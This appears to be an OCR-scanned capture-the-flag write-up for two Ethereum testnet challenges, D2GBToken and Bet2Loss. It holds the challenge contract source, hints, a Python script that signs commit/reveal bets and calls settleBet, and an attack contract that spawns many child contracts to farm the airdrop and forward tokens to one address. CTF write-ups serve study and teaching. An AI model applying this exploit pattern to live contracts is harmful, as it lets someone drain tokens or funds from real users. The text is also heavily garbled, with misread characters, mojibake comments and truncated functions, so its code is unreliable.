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Ox71feca5foff0123a60ef2871bababe5d289942ef for ropstenD2GBToken is onsale. we will airdrop each person 10 D
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}hintl:you should recover eht source code first. and break all eht concepts you've already hold hint2: no
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pragma solidity 7@.4.24;/** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20
function totalSupply() external view returns (uint256);

function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value)
external returns (bool);

function transferFrom(address from, address to, uint256 value)
external returns (bool);

event Transfer(
address indexed from,
address indexed to,
uint256 value

)5

event Approval(
address indexed owner,
address indexed spender,
uint256 value

)5

event GetFlag(
string b64email,
string back
);}/** * @title SafeMath * @dev Math operations with safety checks that revert on error */library SafeMat

/** * @dev Multiplies two numbers, reverts on overflow. */

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.

// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522

if (a == 0) {

return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;



/*¥* * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */
function div(uint256 a, uint256 b) internal pure returns (uint256) {

require(b > @); // Solidity only automatically asserts when dividing by ©

uint256 ¢ = a / b;

// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;

/** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
function sub(uint256 a, uint256 b) internal pure returns (uint256) {

require(b <= a);

uint256 ¢ = a - b;

return c;

/** * @dev Adds two numbers, reverts on overflow. */

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 ¢ = a + b;
require(c >= a);

return c;
}}/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github
using SafeMath for uint256;

mapping (address => uint256) public _balances;

mapping (address => mapping (address => uint256)) public _allowed;

mapping(address => bool) initialized;

uint256 public _totalSupply;

uint256 public constant _airdropAmount = 10;

/** * @dev Total number of tokens in existence */
function totalSupply() public view returns (uint256) {
return _totalSupply;

/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance o
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];

// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;

}
return true;
}
/**  * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner

function allowance(



address owner,
address spender

)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}

/*¥* * @dev Transfer token for a specified address * @param to The address to transfer to. * @param val
function transfer(address to, uint256 value) public returns (bool) {

AirdropCheck();

_transfer(msg.sender, to, value);

return true;

/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(9));

AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;

/**  * @dev Transfer tokens from one address to another * @param from address The address which you wa
function transferFrom(

address from,

address to,

uint256 value

public
returns (bool)

require(value <= _allowed[from][msg.sender]);
AirdropCheck();

_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;

/** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @par
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);

require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);

}}contract D2GBToken is ERC20 {

string public constant name = "D2GBToken";
string public constant symbol = "D2GBToken";
uint8 public constant decimals = 18;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

/** * @dev Constructor that gives msg.sender all of existing tokens. */
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_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(®), msg.sender, INITIAL_SUPPLY);

//flag
function PayForFlag(string b64email) public payable returns (bool success){

require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
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function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;

function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _allowed[from][msg.sender]);
AirdropCheck();

_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);

_transfer(from, to, value);
return true;
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function _transfer(address from, address to, uint256 value) {

require(value <= _balances[from]);
require(to != address(®0));

_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
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Description
0x006b9bc418e43e92cf8d380c56b8d4bedl1fda319 for ropsten and open source

D2GBToken is onsale. Now New game is coming.
We’1l give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.

solved: 5
score: 735.09
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pragma solidity 7@.4.24;/** * @title SafeMath * @dev Math operations with safety checks that revert on erro

/** * @dev Multiplies two numbers, reverts on overflow. S5
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a’
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522

not being zero, but the

if (a == 9) {
return 0;
}
uint256 ¢ = a * b;
require(c / a == b);
return c;
}
[ * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.

function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > @); // Solidity only automatically asserts when dividing by @
uint256 ¢ = a / b;

// assert(a ==b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 ¢ = a - b;

return c;

/** * @dev Adds two numbers, reverts on overflow. */
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;

require(c >= a);

return c;
}}/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://gith
using SafeMath for uint256;



mapping (address => uint256) public balances;

uint256 public _totalSupply;

[ * @dev Total number of tokens in existence 5
function totalSupply() public view returns (uint256) {
return _totalSupply;

/** * @dev Gets the balance of the specified address. * @param owner The address to query the bal
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];

function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);

return true;
}}contract B2GBToken is ERC20 {

string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount

1000;

uint256 public constant INITIAL_SUPPLY

20000000000 * (10 ** uint256(decimals));

mapping(address => bool) initialized;
/** * @dev Constructor that gives msg.sender all of existing tokens. &
constructor() public {

initialized[msg.sender] = true;

_totalSupply = INITIAL_SUPPLY;

balances[msg.sender] = INITIAL_SUPPLY;

// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}}// EEREcontract Bet2Loss is B2GBToken{
/// *** Constants section

// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT_FEE).
uint constant MIN_JACKPOT_BET = 0.1 ether;

// There is minimum and maximum bets.
uint constant MIN_BET 1;
uint constant MAX_BET 100000;

// Modulo is a number of equiprobable outcomes in a game:
// - 2 for coin flip

// - 6 for dice

// - 6*%6 = 36 for douhle dice



// - 100 for etheroll
// - 37 for roulette

// etc.

// It's called so because 256-bit entropy is treated like a huge integer and // the remainde
// modulo - game modulo.

// commitLastBlock - number of the maximum block where "commit" is still considered valid.

// commit - Keccak256 hash of some secret "reveal" random number, to be supplied

// by the dice2.win croupier bot in the settleBet transaction.
// "commit" ensures that "reveal" cannot be changed behind the
// after placeBet have been mined.

// r, s - components of ECDSA signature of (commitLastBlock, commit). v is

// guaranteed to always equal 27.

//

// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, byt
// betmask K%
// modulof &3/ 55
// commitlastblock /5 —ANEE4RHIblocknumber
// BEVI#ZZhash, r, s

// airdrop
AirdropCheck();

// Check that the bet is in 'clean' state.

Bet storage bet = bets[commit]; require (bet.gambler == address(©), "Bet sho
1}
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Welcome to Bet2Loss Game!
only winner can get flag!
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Adddrass:
OxachTa6dc0215cfe38eTe22e3f06121d2a1 c42f6c
Balance:

1999999995995999999999999928553

Modula(2-40): [2

Bet Mask{0-(modulo-1]): 1 ’_——"{—

Bet Number(1-balanceOfivou)): (111
do it
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2. JaumAERFENLE, REZ4L, RiGcommit, r, s, v

# FEHLEL
reveal = random_num()
result['commit'] = "@x"+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, 'big')).deco

# web33RELHATblocknumber
result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode( 'utf-8"')+result['commit
message_hash = '@x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message_hash, private_key=private_key)
result['signature'] = {}

result['signature']['r']
result['signature']['s"]

'Ox"' + binascii.hexlify((signhash['r']).to_bytes(32,'big"')).decode('utf-8")
'Ox' + binascii.hexlify((signhash['s']).to_bytes(32, 'big"')).decode('utf-8")

result['signature']['v']

signhash['v']

3. [ElE|FTH, web3.jsEtAREIFIEIE, HmetakRRZ 5, 5B ITRZ GG & KIiEE Ksettlebet.
4. JEimEIE R 2 J5 Xt iZcommitfif FF 22

transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(
{'chainId': 3, 'gas': 70000, 'nonce': nonce, 'gasPrice': w3.toWei('l', 'gwei')})

signed = w3.eth.account.signTransaction(transaction, private_key)

result

w3.eth.sendRawTransaction(signed.rawTransaction)
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pragma solidity 70.4.20;
contract Attack_7878678 {
// address[] private son_list;

function Attack_7878678() payable {}

function attack_starta(uint256 reveal num) public {
for(int i1=0;i<=50;i++){
son = new Son(reveal_num);

function () payable {
}

contract Son_7878678 {

function Son_7878678(uint256 reveal_num) payable {
address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;
game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DBO0O1f970cFDd388143b887091Bf85e77

}
function () payable{

}
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